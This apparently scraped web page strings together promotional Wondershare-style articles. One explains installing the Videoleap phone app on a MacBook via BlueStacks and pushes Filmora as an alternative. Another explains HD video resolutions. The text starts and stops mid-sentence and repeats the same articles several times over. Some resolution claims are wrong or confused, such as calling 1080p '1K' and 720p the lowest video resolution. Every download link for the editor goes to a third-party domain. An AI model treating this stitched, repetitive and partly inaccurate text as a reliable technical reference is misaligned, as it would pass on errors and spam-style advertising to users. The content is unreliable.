MacBook, you can launch it, and go to the Google Play app. From here, you can just log in to an active Google account on the BlueStacks app. ![Access Google Account](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-4.jpg) **Step 3: Install Videoleap for MacBook via BlueStacks** That’s it! Once you have configured Google Play, you can just launch it, and look for “Videoleap” from the search bar. After finding the app, you can click on the “Install” button and wait as **Videoleap for MacBook** would be downloaded. ![Install Videoleap](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-5.jpg) After Videoleap is installed on BlueStacks, you can launch it, and start editing your videos without any hassle. ## Part 3: 2 Best Alternatives to Videoleap for MacBook As you can see, installing **Videoleap for a MacBook** can be a tedious job as it is only available for smartphones. Therefore, instead of using an emulator to install Videoleap, you can consider using the following video editors on your Mac. ### 1\. [Filmora](https://tools.techidaily.com/wondershare/filmora/download/) Filmora is one of the best video editing apps that is super-easy to use and fully supports all the major macOS versions. It is a multi-timeline [macOS video editor](https://tools.techidaily.com/wondershare/filmora/download/) that would let you apply all kinds of edits and use tons of visual effects to make your content look appealing. [![Download Win Version](https://images.wondershare.com/filmora/guide/download-btn-win.jpg)](https://tools.techidaily.com/wondershare/filmora/download/)[![Download Mac Version](https://images.wondershare.com/filmora/guide/download-btn-mac.jpg)](https://tools.techidaily.com/wondershare/filmora/download/) * _User-friendly Video Editing_ You can load clips, images, audio files, and other media content on different timelines of the editor. It provides instant solutions to crop, trim, rotate, flip, and do all the other edits in a user-friendly way. * _AI-Integrated Features_ Wondershare Filmora has also included highly advanced Artificial Intelligence and Augmented Reality features. For instance, with its AI Portrait Mode, you can detect a human face on the video and instantly remove its background. There are also tons of AR stickers that you can just drag and drop to your videos. * _Tons of Video Effects_ On Filmora, you can also explore hundreds of video transitions, overlays, filters, stickers, and numerous other effects. You can readily add captions and other text effects to your videos as well. * _Sound Effects_ Apart from video editing, you can also edit the added soundtracks in your videos. Using Filmora, you can add voiceovers to your videos and apply effects like fade in/out, denoise, audio ducking, and so on. * _Other Features_ Furthermore, Filmora offers some of the most advanced video editing effects for Mac such as Auto Reframe, color tuning, pan-and-zoom, green screen, video stabilization, and so much more. [![Download Win Version](https://images.wondershare.com/filmora/guide/download-btn-win.jpg)](https://tools.techidaily.com/wondershare/filmora/download/)[![Download Mac Version](https://images.wondershare.com/filmora/guide/download-btn-mac.jpg)](https://tools.techidaily.com/wondershare/filmora/download/) ### 2\. iMovie Lastly, if you are looking for a freely available alternative for **Videoleap for MacBook**, then you can try iMovie. The video editor is developed by Apple and is already installed in leading Mac systems. While it doesn’t offer so many extensive features, iMovie would meet your basic video editing needs. ![iMovie](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-7.jpg) * _Ready-made Templates_ On iMovie, you can find several professionally made templates that you can simply load and customize to create videos. * _Sound Effects_ Besides editing your videos, you can also add sound effects to your projects, and edit them as per your preferences. * _All Basic Editing Features_ Once the video is loaded on its timeline, iMovie will let you perform all the basic edits such as clip, trim, crop, rotate, flip, and so on. * _Other Features_ A few advanced features of iMovie are green screen edits, tons of transitions and filters, 4K video editing, caption effects, and other optimized features for Mac. ## Final Words There you go! I’m sure that after following this guide, you can easily use **Videoleap for MacBook.** Since Videoleap is only available for iOS and Android devices, I have come up with a stepwise approach to install it on Mac. Though, instead of Videoleap, you can consider using Wondershare Filmora on your MacBook. It is a far better and more user-friendly video editor for Mac that has some of the most advanced features. [![Download Win Version](https://images.wondershare.com/filmora/guide/download-btn-win.jpg)](https://tools.techidaily.com/wondershare/filmora/download/)[![Download Mac Version](https://images.wondershare.com/filmora/guide/download-btn-mac.jpg)](https://tools.techidaily.com/wondershare/filmora/download/) ![author avatar](https://images.wondershare.com/filmora/article-images/richard-bennett.jpg) Richard Bennett Richard Bennett is a writer and a lover of all things video. Follow @Richard Bennett ##### Richard Bennett Mar 27, 2024• Proven solutions Developed by Lightricks Studio, Videoleap is one of the most powerful video editors, which is available for iOS and Android devices. While you can directly install Videoleap on your iPhone or Android phone by visiting its App/Play Store page, you won’t find its desktop application. That’s why a lot of people find it hard to install Videoleap on their macOS systems. Don’t worry – here, I will let you know how to install **Videoleap for MacBook** and would also list its best alternatives. * [**Part 1: Major Features of Videoleap**](#part1) * [**Part 2: Download and Install Videoleap for MacBook**](#part2) * [**Part 3: 2 Best Alternatives to Videoleap for MacBook**](#part3) ## Part 1: Major Features of Videoleap You might already know that Videoleap is a popular smartphone app that is used for video editing on iOS and Android devices. It is a part of the Lightricks Creative Suite that would let you create, edit, and share your videos in one place. ![Videoleap](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-1.jpg) * You can find all kinds of basic editing options in Videoleap to crop, trim, rotate, or flip your videos. * Videoleap provides a layer-based editing interface that would let you work on videos, images, audio tracks, and other media content. * There are hundreds of visual effects (like transitions, stickers, filters, etc.) that you can readily use in Videoleap. * Some of the other smart features of Videoleap would be green screen edits, prism effects, sound editing, and so on. ## Part 2: Download and Install Videoleap for MacBook As I have listed above, **Videoleap for MacBook** is not directly available as it runs on iOS and Android devices only. Though, you can access this video editor on your Mac by using any reliable Android emulator tool. An emulator can load an Android OS environment on your Windows or Mac system, letting you run all these smartphone apps. While there are plenty of Android emulators out there, these are some of the most popular options: * BlueStacks * Nox Player * MEmu Player * ARChon Player Out of them, let’s consider the example of BlueStacks as it is the most popular and reliable Android emulator in the market. You can install BlueStacks on your MacBook for free, log in to your Google account, and can readily use Videoleap on it. **Step 1: Install a Reliable Android Emulator like BlueStacks** To begin with, you can install any reliable Android emulator on your MacBook. For instance, if you want to install BlueStacks, then you can visit its official website, and click on the “Download” button. ![download bluestacks](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-2.jpg) Now, you can just click on the installer to run it on your MacBook. You can just go through a simple click-through process and select a location where you want to install the application on your Mac. Just make sure that you have at least 5GB of available storage of your Mac (and it should have at least 2GB RAM). ![download bluestacks on Mac](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-3.jpg) **Step 2: Connect your Google Account on BlueStacks** Once you have installed BlueStacks on your MacBook, you can launch it, and go to the Google Play app. From here, you can just log in to an active Google account on the BlueStacks app. ![Access Google Account](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-4.jpg) **Step 3: Install Videoleap for MacBook via BlueStacks** That’s it! Once you have configured Google Play, you can just launch it, and look for “Videoleap” from the search bar. After finding the app, you can click on the “Install” button and wait as **Videoleap for MacBook** would be downloaded. ![Install Videoleap](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-5.jpg) After Videoleap is installed on BlueStacks, you can launch it, and start editing your videos without any hassle. ## Part 3: 2 Best Alternatives to Videoleap for MacBook As you can see, installing **Videoleap for a MacBook** can be a tedious job as it is only available for smartphones. Therefore, instead of using an emulator to install Videoleap, you can consider using the following video editors on your Mac. ### 1\. [Filmora](https://tools.techidaily.com/wondershare/filmora/download/) Filmora is one of the best video editing apps that is super-easy to use and fully supports all the major macOS versions. It is a multi-timeline [macOS video editor](https://tools.techidaily.com/wondershare/filmora/download/) that would let you apply all kinds of edits and use tons of visual effects to make your content look appealing. [![Download Win Version](https://images.wondershare.com/filmora/guide/download-btn-win.jpg)](https://tools.techidaily.com/wondershare/filmora/download/)[![Download Mac Version](https://images.wondershare.com/filmora/guide/download-btn-mac.jpg)](https://tools.techidaily.com/wondershare/filmora/download/) * _User-friendly Video Editing_ You can load clips, images, audio files, and other media content on different timelines of the editor. It provides instant solutions to crop, trim, rotate, flip, and do all the other edits in a user-friendly way. * _AI-Integrated Features_ Wondershare Filmora has also included highly advanced Artificial Intelligence and Augmented Reality features. For instance, with its AI Portrait Mode, you can detect a human face on the video and instantly remove its background. There are also tons of AR stickers that you can just drag and drop to your videos. * _Tons of Video Effects_ On Filmora, you can also explore hundreds of video transitions, overlays, filters, stickers, and numerous other effects. You can readily add captions and other text effects to your videos as well. * _Sound Effects_ Apart from video editing, you can also edit the added soundtracks in your videos. Using Filmora, you can add voiceovers to your videos and apply effects like fade in/out, denoise, audio ducking, and so on. * _Other Features_ Furthermore, Filmora offers some of the most advanced video editing effects for Mac such as Auto Reframe, color tuning, pan-and-zoom, green screen, video stabilization, and so much more. [![Download Win Version](https://images.wondershare.com/filmora/guide/download-btn-win.jpg)](https://tools.techidaily.com/wondershare/filmora/download/)[![Download Mac Version](https://images.wondershare.com/filmora/guide/download-btn-mac.jpg)](https://tools.techidaily.com/wondershare/filmora/download/) ### 2\. iMovie Lastly, if you are looking for a freely available alternative for **Videoleap for MacBook**, then you can try iMovie. The video editor is developed by Apple and is already installed in leading Mac systems. While it doesn’t offer so many extensive features, iMovie would meet your basic video editing needs. ![iMovie](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-7.jpg) * _Ready-made Templates_ On iMovie, you can find several professionally made templates that you can simply load and customize to create videos. * _Sound Effects_ Besides editing your videos, you can also add sound effects to your projects, and edit them as per your preferences. * _All Basic Editing Features_ Once the video is loaded on its timeline, iMovie will let you perform all the basic edits such as clip, trim, crop, rotate, flip, and so on. * _Other Features_ A few advanced features of iMovie are green screen edits, tons of transitions and filters, 4K video editing, caption effects, and other optimized features for Mac. ## Final Words There you go! I’m sure that after following this guide, you can easily use **Videoleap for MacBook.** Since Videoleap is only available for iOS and Android devices, I have come up with a stepwise approach to install it on Mac. Though, instead of Videoleap, you can consider using Wondershare Filmora on your MacBook. It is a far better and more user-friendly video editor for Mac that has some of the most advanced features. [![Download Win Version](https://images.wondershare.com/filmora/guide/download-btn-win.jpg)](https://tools.techidaily.com/wondershare/filmora/download/)[![Download Mac Version](https://images.wondershare.com/filmora/guide/download-btn-mac.jpg)](https://tools.techidaily.com/wondershare/filmora/download/) ![author avatar](https://images.wondershare.com/filmora/article-images/richard-bennett.jpg) Richard Bennett Richard Bennett is a writer and a lover of all things video. Follow @Richard Bennett <ins class="adsbygoogle" style="display:block" data-ad-format="autorelaxed" data-ad-client="ca-pub-7571918770474297" data-ad-slot="1223367746"></ins> <ins class="adsbygoogle" style="display:block" data-ad-format="autorelaxed" data-ad-client="ca-pub-7571918770474297" data-ad-slot="1223367746"></ins> ## Unlocking HD Video: A Step-by-Step Guide to Pixel Size ##### Versatile Video Editor - Wondershare Filmora An easy yet powerful editor Numerous effects to choose from Detailed tutorials provided by the official channel [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) Video resolution is a way to determine how realistic or clear your video appears. You can measure it with the number of pixels in a standard aspect ratio (16:9). 16:9 is one of the most common aspect ratios for TV or computer screens. Also, a higher number of video aspect ratio pixels means high resolution. The 720 or 1080 resolutions have naming conventions usually based on the pixels running in the vertical line of the display area. Whereas resolutions like 2K, 4K, or 8K have naming conventions based on pixels numbers in the horizontal lines across digital frames. The growth of video sharing on social media has ensured the adoption of HD definition screens. So, let us know more about its concepts. #### In this article 01 [What is HD Video?](#Part 1) 02 [What is the Pixel Size of HD Video?](#Part 2) 03 [Video Resolution and Corresponding File Sizes?](#Part 3) 04 [Are 480P, 720P, 960P Considered HD?](#Part 4) 05 [Is HD 2K or 1K?](#Part 5) 06 [How to Change Video Resolution Easily?](#Part 6) ## Part 1 What is HD Video? High-definition video (HDV) is a third-generation technology for videos. Its video resolution, file size, and screen size are more significant than a standard video or other video forms. It provides more flexibility, including technical variables of videos. ![HDV](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-1.jpg) Generally, it is a video with 1280×720 (720p) or 1920×1080 (1080p) resolutions. It's all formats are widescreen and display 24 to 60 frames in a second. ## Part 2 What is the Pixel Size of HD Video? HD Video is the lowest video resolution accepted for the web content of smaller size. However, most screens are available in HD nowadays. So, it would be best to use a resolution higher than 720 p for streaming or web. Pixel Size of HD video is 1280 x 720. ## Part 3 Video resolution and corresponding file sizes Video resolutions are the standards set by video manufacturers or broadcasting companies. Video resolution is similar to a haircut. You can always decrease a high-resolution video to a lower one but can never increase the low resolution. So, decide the video resolutions keeping storage space and other aspects in mind. Here are different formats that can help you to make a wise decision: ### 1\. Standard Definition Standard Definition does not have many pixels; as a result, it has low resolution. Two common SD resolutions are 640× 480 and 640×360\. These resolutions are the best for small mobiles. It is an excellent option to consider if you have a slow internet connection. ### 2\. 720 Resolution (HD) It is the lowest video resolution and is often called HD. Usually, you shoot most videos at 1080p, but 720p can still be acceptable to create smaller web content. However, it would be best to aim for a resolution higher than 720p. ### 3\. 1080 Resolution (Full HD) 1080 (1920 \* 1080 pixels), often known as Full HD, is the industry standard for making a digital video. It does not need much storage space and is a typical screen resolution for digital phones. ### 4\. 2K Resolution or QHD (Quad High Definition) 2K resolution (2048 x 1080 pixels)or QHD (2560 x 1440 pixels) formats provide room for photo edits. In addition, they offer larger displays or reframing files without their lost quality. ### 5\. 4K Resolution (Ultra HD) Ultra HD, often known as 4K resolution, is 3840 x 2160 pixels technically. It looks similar to 2K to the viewers but gives videomakers some room to zoom in or edit. ![File Size](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-2.jpg) ## Part 4 Are 480P, 720P, 960P Considered HD? * 720p is also popular with the name HD (high-definition). It is a display resolution that measures 1280 x 720 pixels. * 480p often known as Standard Definition (SD). It usually starts at 240 p and ends at 480 p. So, 480 p is a semi-HD. * 960 X 480 p is a progressive camera scan format usually used in surveillance cameras, webcams, or action POV cams. It adds a wide horizontal view as compared to the standard definition. But it is less than HD. ## Part 5 Is HD 2K or 1K? 1K means there are 1000 pixels. So 1080p, as in the vertical portion of a screen, is 1K. In contrast, a typical 1080p resolution with the horizontal part is 1920, or 2K. Although 1080p has the exact vertical resolution like DCI 2K resolutions (1080 pixels), it has a smaller horizontal resolution. As a result, it is below the range of 2K resolution formats. 1080p is almost equivalent to 2K. It is because "p" and "i" measure the height of an image in pixels, while "K" measures the width of an image in thousands of pixels. So with a size of 1080 pixels, the corresponding width of 1920 pixels uses a 16:9 aspect ratio. ![Resolution Chart](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-3.jpg) ## Part 6 How to Change Video Resolution Easily? Sometimes, you need to change the video resolutions due to different circumstances. For instance, when you upload videos from a system to the smartphone, the resolution needs to decrease. Because some devices may support specific video resolutions only. In the steps below, you can learn how to change the video resolutions using the best video editor- Wondeshare Fimora. It is very easy to use tool that allow you to change or convert the video resolution quickly. You just need to click on export and choose the resolution from Export window. Then, video will be of resolution you want. ![Choosing Resolution](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-4.jpg) #### Step 1 Download and Install Filmora Video Editor You can download Wondershare Filmora video editor from [Filmora](https://tools.techidaily.com/wondershare/filmora/download/) or click on the Download button you see on the system. Then, double click the downloaded file. Now, follow the instruction to start the installation. Wondershare Filmora supports Windows and Mac OS both. So, you will not face any difficulty while installing it. #### Step 2 Import and Add Videos to the Filmora Open the program and find the button for importing your video whose resolution you like to change. You will see the "Import" button in a primary window. Just click on a button to select the video files you need to resize. You can check the video resolution by right clicking on it and then, choose "Properties. ![Checking Resolution](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-5.jpg) Once you import the files, drag it to the timeline. Now, you can trim or remove unwanted section to reduce the size of a video. ![Trim or Remove ](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-6.jpg) #### Step 3 Pick up the Export Format & Video Resolution After video editing in Filmora, decide and select the format or resolution for your saved video. Click the Export button to enter in the Export Window. ![Export Video ](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-7.jpg) #### Step 4 Find and Confirm Video Conversion You can change the folder to save the altered files by going to the "Browse" button. Then go to "Destination" field. Now, select any existing folder for saving the files or create a new folder. Then, click on the "OK" button to save each altered file to that folder. ![Saving Altered Files](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-8.jpg) After all the selections, click on the "Export" button. This process will take some minutes. Till then wait to let the process finish. Click on the “Find Target button” to find the saved video. #### Wondershare Filmora Get started easily with Filmora's powerful performance, intuitive interface, and countless effects! [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) [Learn More >](https://tools.techidaily.com/wondershare/filmora/download/) ![filmorax boxpng ](https://images.wondershare.com/filmora/banner/filmora-latest-product-box-right-side.png) **AI Portrait – The best feature of Wondershare Filmora for gameplay editing** The AI Portrait is a new add-on in Wondershare Filmora. It can easily remove video backgrounds without using a green screen or chroma key, allowing you to add borders, glitch effects, pixelated, noise, or segmentation video effects. ![ai portrait wondershare filmora](https://images.wondershare.com/filmora/guide/add-multiple-ai-portrait-add-on.jpg) ### Conclusion Video resolution is an easy topic if you understand a practical view well. By learning about video aspect ratio pixels, you can save a lot of time and effort. In addition, you can ensure that you are creating the right videos. The best video resolution varies with different platforms. But it will help in the basic understanding of aspect ratios or frame size. [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) Video resolution is a way to determine how realistic or clear your video appears. You can measure it with the number of pixels in a standard aspect ratio (16:9). 16:9 is one of the most common aspect ratios for TV or computer screens. Also, a higher number of video aspect ratio pixels means high resolution. The 720 or 1080 resolutions have naming conventions usually based on the pixels running in the vertical line of the display area. Whereas resolutions like 2K, 4K, or 8K have naming conventions based on pixels numbers in the horizontal lines across digital frames. The growth of video sharing on social media has ensured the adoption of HD definition screens. So, let us know more about its concepts. #### In this article 01 [What is HD Video?](#Part 1) 02 [What is the Pixel Size of HD Video?](#Part 2) 03 [Video Resolution and Corresponding File Sizes?](#Part 3) 04 [Are 480P, 720P, 960P Considered HD?](#Part 4) 05 [Is HD 2K or 1K?](#Part 5) 06 [How to Change Video Resolution Easily?](#Part 6) ## Part 1 What is HD Video? High-definition video (HDV) is a third-generation technology for videos. Its video resolution, file size, and screen size are more significant than a standard video or other video forms. It provides more flexibility, including technical variables of videos. ![HDV](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-1.jpg) Generally, it is a video with 1280×720 (720p) or 1920×1080 (1080p) resolutions. It's all formats are widescreen and display 24 to 60 frames in a second. ## Part 2 What is the Pixel Size of HD Video? HD Video is the lowest video resolution accepted for the web content of smaller size. However, most screens are available in HD nowadays. So, it would be best to use a resolution higher than 720 p for streaming or web. Pixel Size of HD video is 1280 x 720. ## Part 3 Video resolution and corresponding file sizes Video resolutions are the standards set by video manufacturers or broadcasting companies. Video resolution is similar to a haircut. You can always decrease a high-resolution video to a lower one but can never increase the low resolution. So, decide the video resolutions keeping storage space and other aspects in mind. Here are different formats that can help you to make a wise decision: ### 1\. Standard Definition Standard Definition does not have many pixels; as a result, it has low resolution. Two common SD resolutions are 640× 480 and 640×360\. These resolutions are the best for small mobiles. It is an excellent option to consider if you have a slow internet connection. ### 2\. 720 Resolution (HD) It is the lowest video resolution and is often called HD. Usually, you shoot most videos at 1080p, but 720p can still be acceptable to create smaller web content. However, it would be best to aim for a resolution higher than 720p. ### 3\. 1080 Resolution (Full HD) 1080 (1920 \* 1080 pixels), often known as Full HD, is the industry standard for making a digital video. It does not need much storage space and is a typical screen resolution for digital phones. ### 4\. 2K Resolution or QHD (Quad High Definition) 2K resolution (2048 x 1080 pixels)or QHD (2560 x 1440 pixels) formats provide room for photo edits. In addition, they offer larger displays or reframing files without their lost quality. ### 5\. 4K Resolution (Ultra HD) Ultra HD, often known as 4K resolution, is 3840 x 2160 pixels technically. It looks similar to 2K to the viewers but gives videomakers some room to zoom in or edit. ![File Size](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-2.jpg) ## Part 4 Are 480P, 720P, 960P Considered HD? * 720p is also popular with the name HD (high-definition). It is a display resolution that measures 1280 x 720 pixels. * 480p often known as Standard Definition (SD). It usually starts at 240 p and ends at 480 p. So, 480 p is a semi-HD. * 960 X 480 p is a progressive camera scan format usually used in surveillance cameras, webcams, or action POV cams. It adds a wide horizontal view as compared to the standard definition. But it is less than HD. ## Part 5 Is HD 2K or 1K? 1K means there are 1000 pixels. So 1080p, as in the vertical portion of a screen, is 1K. In contrast, a typical 1080p resolution with the horizontal part is 1920, or 2K. Although 1080p has the exact vertical resolution like DCI 2K resolutions (1080 pixels), it has a smaller horizontal resolution. As a result, it is below the range of 2K resolution formats. 1080p is almost equivalent to 2K. It is because "p" and "i" measure the height of an image in pixels, while "K" measures the width of an image in thousands of pixels. So with a size of 1080 pixels, the corresponding width of 1920 pixels uses a 16:9 aspect ratio. ![Resolution Chart](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-3.jpg) ## Part 6 How to Change Video Resolution Easily? Sometimes, you need to change the video resolutions due to different circumstances. For instance, when you upload videos from a system to the smartphone, the resolution needs to decrease. Because some devices may support specific video resolutions only. In the steps below, you can learn how to change the video resolutions using the best video editor- Wondeshare Fimora. It is very easy to use tool that allow you to change or convert the video resolution quickly. You just need to click on export and choose the resolution from Export window. Then, video will be of resolution you want. ![Choosing Resolution](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-4.jpg) #### Step 1 Download and Install Filmora Video Editor You can download Wondershare Filmora video editor from [Filmora](https://tools.techidaily.com/wondershare/filmora/download/) or click on the Download button you see on the system. Then, double click the downloaded file. Now, follow the instruction to start the installation. Wondershare Filmora supports Windows and Mac OS both. So, you will not face any difficulty while installing it. #### Step 2 Import and Add Videos to the Filmora Open the program and find the button for importing your video whose resolution you like to change. You will see the "Import" button in a primary window. Just click on a button to select the video files you need to resize. You can check the video resolution by right clicking on it and then, choose "Properties. ![Checking Resolution](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-5.jpg) Once you import the files, drag it to the timeline. Now, you can trim or remove unwanted section to reduce the size of a video. ![Trim or Remove ](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-6.jpg) #### Step 3 Pick up the Export Format & Video Resolution After video editing in Filmora, decide and select the format or resolution for your saved video. Click the Export button to enter in the Export Window. ![Export Video ](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-7.jpg) #### Step 4 Find and Confirm Video Conversion You can change the folder to save the altered files by going to the "Browse" button. Then go to "Destination" field. Now, select any existing folder for saving the files or create a new folder. Then, click on the "OK" button to save each altered file to that folder. ![Saving Altered Files](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-8.jpg) After all the selections, click on the "Export" button. This process will take some minutes. Till then wait to let the process finish. Click on the “Find Target button” to find the saved video. #### Wondershare Filmora Get started easily with Filmora's powerful performance, intuitive interface, and countless effects! [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) [Learn More >](https://tools.techidaily.com/wondershare/filmora/download/) ![filmorax boxpng ](https://images.wondershare.com/filmora/banner/filmora-latest-product-box-right-side.png) **AI Portrait – The best feature of Wondershare Filmora for gameplay editing** The AI Portrait is a new add-on in Wondershare Filmora. It can easily remove video backgrounds without using a green screen or chroma key, allowing you to add borders, glitch effects, pixelated, noise, or segmentation video effects. ![ai portrait wondershare filmora](https://images.wondershare.com/filmora/guide/add-multiple-ai-portrait-add-on.jpg) ### Conclusion Video resolution is an easy topic if you understand a practical view well. By learning about video aspect ratio pixels, you can save a lot of time and effort. In addition, you can ensure that you are creating the right videos. The best video resolution varies with different platforms. But it will help in the basic understanding of aspect ratios or frame size. [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) Video resolution is a way to determine how realistic or clear your video appears. You can measure it with the number of pixels in a standard aspect ratio (16:9). 16:9 is one of the most common aspect ratios for TV or computer screens. Also, a higher number of video aspect ratio pixels means high resolution. The 720 or 1080 resolutions have naming conventions usually based on the pixels running in the vertical line of the display area. Whereas resolutions like 2K, 4K, or 8K have naming conventions based on pixels numbers in the horizontal lines across digital frames. The growth of video sharing on social media has ensured the adoption of HD definition screens. So, let us know more about its concepts. #### In this article 01 [What is HD Video?](#Part 1) 02 [What is the Pixel Size of HD Video?](#Part 2) 03 [Video Resolution and Corresponding File Sizes?](#Part 3) 04 [Are 480P, 720P, 960P Considered HD?](#Part 4) 05 [Is HD 2K or 1K?](#Part 5) 06 [How to Change Video Resolution Easily?](#Part 6) ## Part 1 What is HD Video? High-definition video (HDV) is a third-generation technology for videos. Its video resolution, file size, and screen size are more significant than a standard video or other video forms. It provides more flexibility, including technical variables of videos. ![HDV](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-1.jpg) Generally, it is a video with 1280×720 (720p) or 1920×1080 (1080p) resolutions. It's all formats are widescreen and display 24 to 60 frames in a second. ## Part 2 What is the Pixel Size of HD Video? HD Video is the lowest video resolution accepted for the web content of smaller size. However, most screens are available in HD nowadays. So, it would be best to use a resolution higher than 720 p for streaming or web. Pixel Size of HD video is 1280 x 720. ## Part 3 Video resolution and corresponding file sizes Video resolutions are the standards set by video manufacturers or broadcasting companies. Video resolution is similar to a haircut. You can always decrease a high-resolution video to a lower one but can never increase the low resolution. So, decide the video resolutions keeping storage space and other aspects in mind. Here are different formats that can help you to make a wise decision: ### 1\. Standard Definition Standard Definition does not have many pixels; as a result, it has low resolution. Two common SD resolutions are 640× 480 and 640×360\. These resolutions are the best for small mobiles. It is an excellent option to consider if you have a slow internet connection. ### 2\. 720 Resolution (HD) It is the lowest video resolution and is often called HD. Usually, you shoot most videos at 1080p, but 720p can still be acceptable to create smaller web content. However, it would be best to aim for a resolution higher than 720p. ### 3\. 1080 Resolution (Full HD) 1080 (1920 \* 1080 pixels), often known as Full HD, is the industry standard for making a digital video. It does not need much storage space and is a typical screen resolution for digital phones. ### 4\. 2K Resolution or QHD (Quad High Definition) 2K resolution (2048 x 1080 pixels)or QHD (2560 x 1440 pixels) formats provide room for photo edits. In addition, they offer larger displays or reframing files without their lost quality. ### 5\. 4K Resolution (Ultra HD) Ultra HD, often known as 4K resolution, is 3840 x 2160 pixels technically. It looks similar to 2K to the viewers but gives videomakers some room to zoom in or edit. ![File Size](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-2.jpg) ## Part 4 Are 480P, 720P, 960P Considered HD? * 720p is also popular with the name HD (high-definition). It is a display resolution that measures 1280 x 720 pixels. * 480p often known as Standard Definition (SD). It usually starts at 240 p and ends at 480 p. So, 480 p is a semi-HD. * 960 X 480 p is a progressive camera scan format usually used in surveillance cameras, webcams, or action POV cams. It adds a wide horizontal view as compared to the standard definition. But it is less than HD. ## Part 5 Is HD 2K or 1K? 1K means there are 1000 pixels. So 1080p, as in the vertical portion of a screen, is 1K. In contrast, a typical 1080p resolution with the horizontal part is 1920, or 2K. Although 1080p has the exact vertical resolution like DCI 2K resolutions (1080 pixels), it has a smaller horizontal resolution. As a result, it is below the range of 2K resolution formats. 1080p is almost equivalent to 2K. It is because "p" and "i" measure the height of an image in pixels, while "K" measures the width of an image in thousands of pixels. So with a size of 1080 pixels, the corresponding width of 1920 pixels uses a 16:9 aspect ratio. ![Resolution Chart](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-3.jpg) ## Part 6 How to Change Video Resolution Easily? Sometimes, you need to change the video resolutions due to different circumstances. For instance, when you upload videos from a system to the smartphone, the resolution needs to decrease. Because some devices may support specific video resolutions only. In the steps below, you can learn how to change the video resolutions using the best video editor- Wondeshare Fimora. It is very easy to use tool that allow you to change or convert the video resolution quickly. You just need to click on export and choose the resolution from Export window. Then, video will be of resolution you want. ![Choosing Resolution](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-4.jpg) #### Step 1 Download and Install Filmora Video Editor You can download Wondershare Filmora video editor from [Filmora](https://tools.techidaily.com/wondershare/filmora/download/) or click on the Download button you see on the system. Then, double click the downloaded file. Now, follow the instruction to start the installation. Wondershare Filmora supports Windows and Mac OS both. So, you will not face any difficulty while installing it. #### Step 2 Import and Add Videos to the Filmora Open the program and find the button for importing your video whose resolution you like to change. You will see the "Import" button in a primary window. Just click on a button to select the video files you need to resize. You can check the video resolution by right clicking on it and then, choose "Properties. ![Checking Resolution](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-5.jpg) Once you import the files, drag it to the timeline. Now, you can trim or remove unwanted section to reduce the size of a video. ![Trim or Remove ](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-6.jpg) #### Step 3 Pick up the Export Format & Video Resolution After video editing in Filmora, decide and select the format or resolution for your saved video. Click the Export button to enter in the Export Window. ![Export Video ](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-7.jpg) #### Step 4 Find and Confirm Video Conversion You can change the folder to save the altered files by going to the "Browse" button. Then go to "Destination" field. Now, select any existing folder for saving the files or create a new folder. Then, click on the "OK" button to save each altered file to that folder. ![Saving Altered Files](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-8.jpg) After all the selections, click on the "Export" button. This process will take some minutes. Till then wait to let the process finish. Click on the “Find Target button” to find the saved video. #### Wondershare Filmora Get started easily with Filmora's powerful performance, intuitive interface, and countless effects! [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) [Learn More >](https://tools.techidaily.com/wondershare/filmora/download/) ![filmorax boxpng ](https://images.wondershare.com/filmora/banner/filmora-latest-product-box-right-side.png) **AI Portrait – The best feature of Wondershare Filmora for gameplay editing** The AI Portrait is a new add-on in Wondershare Filmora. It can easily remove video backgrounds without using a green screen or chroma key, allowing you to add borders, glitch effects, pixelated, noise, or segmentation video effects. ![ai portrait wondershare filmora](https://images.wondershare.com/filmora/guide/add-multiple-ai-portrait-add-on.jpg) ### Conclusion Video resolution is an easy topic if you understand a practical view well. By learning about video aspect ratio pixels, you can save a lot of time and effort. In addition, you can ensure that you are creating the right videos. The best video resolution varies with different platforms. But it will 